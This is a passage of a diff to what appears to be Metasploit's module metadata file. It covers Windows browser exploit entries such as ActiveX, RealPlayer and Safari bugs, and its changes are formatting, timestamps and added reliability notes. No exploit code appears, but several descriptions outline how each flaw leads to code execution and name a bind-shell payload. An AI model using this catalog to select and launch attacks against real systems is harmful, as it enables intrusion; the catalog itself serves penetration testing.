"/modules/exploits/windows/browser/ntr_activex_check_bof.rb", "is_install_path": true, "ref_name": "windows/browser/ntr_activex_check_bof", @@ -149175,6 +152240,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149182,9 +152256,7 @@ "exploit_windows/browser/ntr_activex_stopmodule": { "name": "NTR ActiveX Control StopModule() Remote Code Execution", "fullname": "exploit/windows/browser/ntr_activex_stopmodule", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-01-11", "type": "exploit", @@ -149192,7 +152264,7 @@ "Carsten Eiram", "juan vazquez " ], - "description": "This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The\n vulnerability exists in the StopModule() method, where the lModule parameter is\n used to dereference memory to get a function pointer, which leads to code execution\n under the context of the user visiting a malicious web page.", + "description": "This module exploits a vulnerability found in the NTR ActiveX 1.1.8. The\n vulnerability exists in the StopModule() method, where the lModule parameter is\n used to dereference memory to get a function pointer, which leads to code execution\n under the context of the user visiting a malicious web page.", "references": [ "CVE-2012-0267", "OSVDB-78253", @@ -149202,19 +152274,15 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3", "IE 7 on Windows Vista" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ntr_activex_stopmodule.rb", "is_install_path": true, "ref_name": "windows/browser/ntr_activex_stopmodule", @@ -149222,6 +152290,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149229,9 +152306,7 @@ "exploit_windows/browser/oracle_autovue_setmarkupmode": { "name": "Oracle AutoVue ActiveX Control SetMarkupMode Buffer Overflow", "fullname": "exploit/windows/browser/oracle_autovue_setmarkupmode", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-18", "type": "exploit", @@ -149239,7 +152314,7 @@ "Brian Gorenc", "juan vazquez " ], - "description": "This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.\n The vulnerability, due to the insecure usage of an strcpy like function in the\n SetMarkupMode method, when handling a specially crafted sMarkup argument, allows\n to trigger a stack based buffer overflow which leads to code execution under the\n context of the user visiting a malicious web page.\n\n The module has been successfully tested against Oracle AutoVue Desktop Version\n 20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and\n ASLR bypass).", + "description": "This module exploits a vulnerability found in the AutoVue.ocx ActiveX control.\n The vulnerability, due to the insecure usage of an strcpy like function in the\n SetMarkupMode method, when handling a specially crafted sMarkup argument, allows\n to trigger a stack based buffer overflow which leads to code execution under the\n context of the user visiting a malicious web page.\n\n The module has been successfully tested against Oracle AutoVue Desktop Version\n 20.0.0 (AutoVue.ocx 20.0.0.7330) on IE 6, 7, 8 and 9 (Java 6 needed to DEP and\n ASLR bypass).", "references": [ "CVE-2012-0549", "BID-53077", @@ -149251,12 +152326,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149264,7 +152335,7 @@ "IE 8 with Java 6 on Windows XP SP3/7 SP1/Vista SP2", "IE 9 with Java 6 on Windows 7 SP1" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb", "is_install_path": true, "ref_name": "windows/browser/oracle_autovue_setmarkupmode", @@ -149272,6 +152343,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149279,16 +152359,14 @@ "exploit_windows/browser/oracle_dc_submittoexpress": { "name": "Oracle Document Capture 10g ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/oracle_dc_submittoexpress", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-08-28", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).\n Oracle Document Capture 10g comes bundled with a third party ActiveX control\n emsmtp.dll (6.0.1.0). When passing an overly long string to the method \"SubmitToExpress\"\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in Oracle Document Capture 10g (10.1.3.5.0).\n Oracle Document Capture 10g comes bundled with a third party ActiveX control\n emsmtp.dll (6.0.1.0). When passing an overly long string to the method \"SubmitToExpress\"\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-4607", "OSVDB-38335", @@ -149298,16 +152376,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb", "is_install_path": true, "ref_name": "windows/browser/oracle_dc_submittoexpress", @@ -149315,6 +152389,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149322,9 +152405,7 @@ "exploit_windows/browser/oracle_webcenter_checkoutandopen": { "name": "Oracle WebCenter Content CheckOutAndOpen.dll ActiveX Remote Code Execution", "fullname": "exploit/windows/browser/oracle_webcenter_checkoutandopen", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2013-04-16", "type": "exploit", @@ -149343,16 +152424,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2021-10-06 13:43:31 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb", "is_install_path": true, "ref_name": "windows/browser/oracle_webcenter_checkoutandopen", @@ -149360,6 +152437,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": true @@ -149367,16 +152453,14 @@ "exploit_windows/browser/orbit_connecting": { "name": "Orbit Downloader Connecting Log Creation Buffer Overflow", "fullname": "exploit/windows/browser/orbit_connecting", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2009-02-03", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an\n attacker serves up a malicious web site, arbitrary code may be executed.\n The PAYLOAD windows/shell_bind_tcp works best.", + "description": "This module exploits a stack buffer overflow in Orbit Downloader 2.8.4. When an\n attacker serves up a malicious web site, arbitrary code may be executed.\n The PAYLOAD windows/shell_bind_tcp works best.", "references": [ "CVE-2009-0187", "OSVDB-52294", @@ -149385,16 +152469,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-SP2" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/orbit_connecting.rb", "is_install_path": true, "ref_name": "windows/browser/orbit_connecting", @@ -149402,6 +152482,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149409,9 +152498,7 @@ "exploit_windows/browser/ovftool_format_string": { "name": "VMWare OVF Tools Format String Vulnerability", "fullname": "exploit/windows/browser/ovftool_format_string", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-11-08", "type": "exploit", @@ -149419,7 +152506,7 @@ "Jeremy Brown", "juan vazquez " ], - "description": "This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for\n Windows. The vulnerability occurs when printing error messages while parsing a\n a malformed OVF file. The module has been tested successfully with VMWare OVF Tools\n 2.1 on Windows XP SP3.", + "description": "This module exploits a format string vulnerability in VMWare OVF Tools 2.1 for\n Windows. The vulnerability occurs when printing error messages while parsing a\n a malformed OVF file. The module has been tested successfully with VMWare OVF Tools\n 2.1 on Windows XP SP3.", "references": [ "CVE-2012-3569", "OSVDB-87117", @@ -149429,16 +152516,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "VMWare OVF Tools 2.1 on Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/ovftool_format_string.rb", "is_install_path": true, "ref_name": "windows/browser/ovftool_format_string", @@ -149446,6 +152529,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149453,9 +152545,7 @@ "exploit_windows/browser/pcvue_func": { "name": "PcVue 10.0 SV.UIGrdCtrl.1 'LoadObject()/SaveObject()' Trusted DWORD Vulnerability", "fullname": "exploit/windows/browser/pcvue_func", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-10-05", "type": "exploit", @@ -149464,7 +152554,7 @@ "mr_me ", "TecR0c " ], - "description": "This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.\n By setting a dword value for the SaveObject() or LoadObject(), an attacker can\n overwrite a function pointer and execute arbitrary code.", + "description": "This module exploits a function pointer control within SVUIGrd.ocx of PcVue 10.0.\n By setting a dword value for the SaveObject() or LoadObject(), an attacker can\n overwrite a function pointer and execute arbitrary code.", "references": [ "CVE-2011-4044", "OSVDB-77561", @@ -149474,16 +152564,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Internet Explorer 6 / Internet Explorer 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/pcvue_func.rb", "is_install_path": true, "ref_name": "windows/browser/pcvue_func", @@ -149491,6 +152577,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149498,16 +152593,14 @@ "exploit_windows/browser/persits_xupload_traversal": { "name": "Persits XUpload ActiveX MakeHttpRequest Directory Traversal", "fullname": "exploit/windows/browser/persits_xupload_traversal", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2009-09-29", "type": "exploit", "author": [ "jduck " ], - "description": "This module exploits a directory traversal in Persits Software Inc's\n XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.\n By passing a string containing \"..\\\" sequences to the MakeHttpRequest method,\n an attacker is able to write arbitrary files to arbitrary locations on disk.\n\n Code execution occurs by writing to the All Users Startup Programs directory.\n You may want to combine this module with the use of exploit/multi/handler since a\n user would have to log for the payload to execute.", + "description": "This module exploits a directory traversal in Persits Software Inc's\n XUpload ActiveX control(version 3.0.0.3) that's included in HP LoadRunner 9.5.\n By passing a string containing \"..\\\" sequences to the MakeHttpRequest method,\n an attacker is able to write arbitrary files to arbitrary locations on disk.\n\n Code execution occurs by writing to the All Users Startup Programs directory.\n You may want to combine this module with the use of exploit/multi/handler since a\n user would have to log for the payload to execute.", "references": [ "CVE-2009-3693", "OSVDB-60001" @@ -149515,16 +152608,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/persits_xupload_traversal.rb", "is_install_path": true, "ref_name": "windows/browser/persits_xupload_traversal", @@ -149532,6 +152621,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149539,9 +152637,7 @@ "exploit_windows/browser/quickr_qp2_bof": { "name": "IBM Lotus QuickR qp2 ActiveX Buffer Overflow", "fullname": "exploit/windows/browser/quickr_qp2_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-05-23", "type": "exploit", @@ -149549,7 +152645,7 @@ "Gaurav Baruah", "juan vazquez " ], - "description": "This module exploits a buffer overflow vulnerability on the UploadControl\n ActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n property, due to the insecure usage of the _swscanf. The affected ActiveX is\n provided by the qp2.dll installed with the IBM Lotus Quickr product.\n\n This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module\n msvcr71.dll is used. This one is installed with the qp2 ActiveX.", + "description": "This module exploits a buffer overflow vulnerability on the UploadControl\n ActiveX. The vulnerability exists in the handling of the \"Attachment_Times\"\n property, due to the insecure usage of the _swscanf. The affected ActiveX is\n provided by the qp2.dll installed with the IBM Lotus Quickr product.\n\n This module has been tested successfully on IE6-IE9 on Windows XP, Vista and 7,\n using the qp2.dll 8.1.0.1800. In order to bypass ASLR the no aslr compatible module\n msvcr71.dll is used. This one is installed with the qp2 ActiveX.", "references": [ "CVE-2012-2176", "OSVDB-82166", @@ -149560,12 +152656,8 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", @@ -149576,7 +152668,7 @@ "IE 8 on Windows 7", "IE 9 on Windows 7" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/quickr_qp2_bof.rb", "is_install_path": true, "ref_name": "windows/browser/quickr_qp2_bof", @@ -149584,6 +152676,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149591,9 +152692,7 @@ "exploit_windows/browser/real_arcade_installerdlg": { "name": "Real Networks Arcade Games StubbyUtil.ProcessMgr ActiveX Arbitrary Code Execution", "fullname": "exploit/windows/browser/real_arcade_installerdlg", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-04-03", "type": "exploit", @@ -149601,7 +152700,7 @@ "rgod", "sinn3r " ], - "description": "This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The \"exec\"\n function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands\n on the victim machine.", + "description": "This module exploits a vulnerability in Real Networks Arcade Game's ActiveX control. The \"exec\"\n function found in InstallerDlg.dll (v2.6.0.445) allows remote attackers to run arbitrary commands\n on the victim machine.", "references": [ "OSVDB-71559", "EDB-17105" @@ -149609,16 +152708,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/real_arcade_installerdlg.rb", "is_install_path": true, "ref_name": "windows/browser/real_arcade_installerdlg", @@ -149626,6 +152721,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149633,9 +152737,7 @@ "exploit_windows/browser/realplayer_cdda_uri": { "name": "RealNetworks RealPlayer CDDA URI Initialization Vulnerability", "fullname": "exploit/windows/browser/realplayer_cdda_uri", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2010-11-15", "type": "exploit", @@ -149643,7 +152745,7 @@ "bannedit ", "sinn3r " ], - "description": "This module exploits an initialization flaw within RealPlayer 11/11.1 and\n RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object\n initialization failure. However, this failure is improperly handled and\n uninitialized memory executed.", + "description": "This module exploits an initialization flaw within RealPlayer 11/11.1 and\n RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object\n initialization failure. However, this failure is improperly handled and\n uninitialized memory executed.", "references": [ "CVE-2010-3747", "OSVDB-68673", @@ -149654,17 +152756,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RealPlayer SP 1.0 - 1.1.4 Universal", "RealPlayer 11.0 - 11.1 Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/realplayer_cdda_uri.rb", "is_install_path": true, "ref_name": "windows/browser/realplayer_cdda_uri", @@ -149672,6 +152770,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149679,16 +152786,14 @@ "exploit_windows/browser/realplayer_console": { "name": "RealPlayer rmoc3260.dll ActiveX Control Heap Corruption", "fullname": "exploit/windows/browser/realplayer_console", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2008-03-08", "type": "exploit", "author": [ "Elazar Broad " ], - "description": "This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.\n By sending a specially crafted string to the 'Console' property\n in the rmoc3260.dll control, an attacker may be able to execute\n arbitrary code.", + "description": "This module exploits a heap corruption vulnerability in the RealPlayer ActiveX control.\n By sending a specially crafted string to the 'Console' property\n in the rmoc3260.dll control, an attacker may be able to execute\n arbitrary code.", "references": [ "CVE-2008-1309", "OSVDB-42946", @@ -149698,16 +152803,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0 English" ], - "mod_time": "2023-03-23 10:19:30 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/realplayer_console.rb", "is_install_path": true, "ref_name": "windows/browser/realplayer_console", @@ -149715,6 +152816,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149722,16 +152832,14 @@ "exploit_windows/browser/realplayer_import": { "name": "RealPlayer ierpplug.dll ActiveX Control Playlist Name Buffer Overflow", "fullname": "exploit/windows/browser/realplayer_import", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-10-18", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and\n RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the \"Import()\"\n method, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in RealOne Player V2 Gold Build 6.0.11.853 and\n RealPlayer 10.5 Build 6.0.12.1483. By sending an overly long string to the \"Import()\"\n method, an attacker may be able to execute arbitrary code.", "references": [ "CVE-2007-5601", "OSVDB-41430", @@ -149740,17 +152848,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "IE / RealOne Player 2 (6.0.11.853)", "IE / RealPlayer 10.5 (6.0.12.1483)" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/realplayer_import.rb", "is_install_path": true, "ref_name": "windows/browser/realplayer_import", @@ -149758,6 +152862,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149765,9 +152878,7 @@ "exploit_windows/browser/realplayer_qcp": { "name": "RealNetworks Realplayer QCP Parsing Heap Overflow", "fullname": "exploit/windows/browser/realplayer_qcp", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2011-08-16", "type": "exploit", @@ -149786,18 +152897,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "Internet Explorer 6 on XP SP3", "Internet Explorer 7 on XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/realplayer_qcp.rb", "is_install_path": true, "ref_name": "windows/browser/realplayer_qcp", @@ -149805,6 +152912,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149812,16 +152928,14 @@ "exploit_windows/browser/realplayer_smil": { "name": "RealNetworks RealPlayer SMIL Buffer Overflow", "fullname": "exploit/windows/browser/realplayer_smil", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2005-03-01", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.\n By creating a URL link to a malicious SMIL file, a remote attacker could\n overflow a buffer and execute arbitrary code.\n When using this module, be sure to set the URIPATH with an extension of '.smil'.\n This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8\n build 6.0.9.584.", + "description": "This module exploits a stack buffer overflow in RealNetworks RealPlayer 10 and 8.\n By creating a URL link to a malicious SMIL file, a remote attacker could\n overflow a buffer and execute arbitrary code.\n When using this module, be sure to set the URIPATH with an extension of '.smil'.\n This module has been tested with RealPlayer 10 build 6.0.12.883 and RealPlayer 8\n build 6.0.9.584.", "references": [ "CVE-2005-0455", "OSVDB-14305", @@ -149830,17 +152944,13 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "RealPlayer 10/8 on Windows 2000 SP0-SP4 English", "RealPlayer 10/8 on Windows XP PRO SP0-SP1 English" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/realplayer_smil.rb", "is_install_path": true, "ref_name": "windows/browser/realplayer_smil", @@ -149848,6 +152958,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149855,16 +152974,14 @@ "exploit_windows/browser/roxio_cineplayer": { "name": "Roxio CinePlayer ActiveX Control Buffer Overflow", "fullname": "exploit/windows/browser/roxio_cineplayer", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2007-04-11", "type": "exploit", "author": [ "Trancer " ], - "description": "This module exploits a stack-based buffer overflow in SonicPlayer ActiveX\n control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.\n By setting an overly long value to 'DiskType', an attacker can overrun\n a buffer and execute arbitrary code.", + "description": "This module exploits a stack-based buffer overflow in SonicPlayer ActiveX\n control (SonicMediaPlayer.dll) 3.0.0.1 installed by Roxio CinePlayer 3.2.\n By setting an overly long value to 'DiskType', an attacker can overrun\n a buffer and execute arbitrary code.", "references": [ "CVE-2007-1559", "OSVDB-34779", @@ -149873,16 +152990,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/roxio_cineplayer.rb", "is_install_path": true, "ref_name": "windows/browser/roxio_cineplayer", @@ -149890,6 +153003,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149897,16 +153019,14 @@ "exploit_windows/browser/safari_xslt_output": { "name": "Apple Safari Webkit libxslt Arbitrary File Creation", "fullname": "exploit/windows/browser/safari_xslt_output", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-07-20", "type": "exploit", "author": [ "Nicolas Gregoire" ], - "description": "This module exploits a file creation vulnerability in the Webkit\n rendering engine. It is possible to redirect the output of a XSLT\n transformation to an arbitrary file. The content of the created file must be\n ASCII or UTF-8. The destination path can be relative or absolute. This module\n has been tested on Safari and Maxthon. Code execution can be achieved by first\n uploading the payload to the remote machine in VBS format, and then upload a MOF\n file, which enables Windows Management Instrumentation service to execute the VBS.", + "description": "This module exploits a file creation vulnerability in the Webkit\n rendering engine. It is possible to redirect the output of a XSLT\n transformation to an arbitrary file. The content of the created file must be\n ASCII or UTF-8. The destination path can be relative or absolute. This module\n has been tested on Safari and Maxthon. Code execution can be achieved by first\n uploading the payload to the remote machine in VBS format, and then upload a MOF\n file, which enables Windows Management Instrumentation service to execute the VBS.", "references": [ "CVE-2011-1774", "OSVDB-74017", @@ -149915,16 +153035,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/safari_xslt_output.rb", "is_install_path": true, "ref_name": "windows/browser/safari_xslt_output", @@ -149932,6 +153048,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -149939,9 +153064,7 @@ "exploit_windows/browser/samsung_neti_wiewer_backuptoavi_bof": { "name": "Samsung NET-i Viewer Multiple ActiveX BackupToAvi() Remote Overflow", "fullname": "exploit/windows/browser/samsung_neti_wiewer_backuptoavi_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-04-21", "type": "exploit", @@ -149949,7 +153072,7 @@ "Luigi Auriemma", "juan vazquez " ], - "description": "This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX control installed\n with the Samsung NET-i viewer 1.37.\n\n Specifically, when supplying a long string for the fname parameter to the\n BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer\n overflow due to the use of memcpy with an incorrect size, resulting in remote code\n execution under the context of the user.", + "description": "This module exploits a vulnerability in the CNC_Ctrl.dll ActiveX control installed\n with the Samsung NET-i viewer 1.37.\n\n Specifically, when supplying a long string for the fname parameter to the\n BackupToAvi method, an integer overflow occurs, which leads to a posterior buffer\n overflow due to the use of memcpy with an incorrect size, resulting in remote code\n execution under the context of the user.", "references": [ "CVE-2012-4333", "OSVDB-81453", @@ -149959,18 +153082,14 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic", "IE 6 on Windows XP SP3", "IE 7 on Windows XP SP3" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb", "is_install_path": true, "ref_name": "windows/browser/samsung_neti_wiewer_backuptoavi_bof", @@ -149978,6 +153097,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null 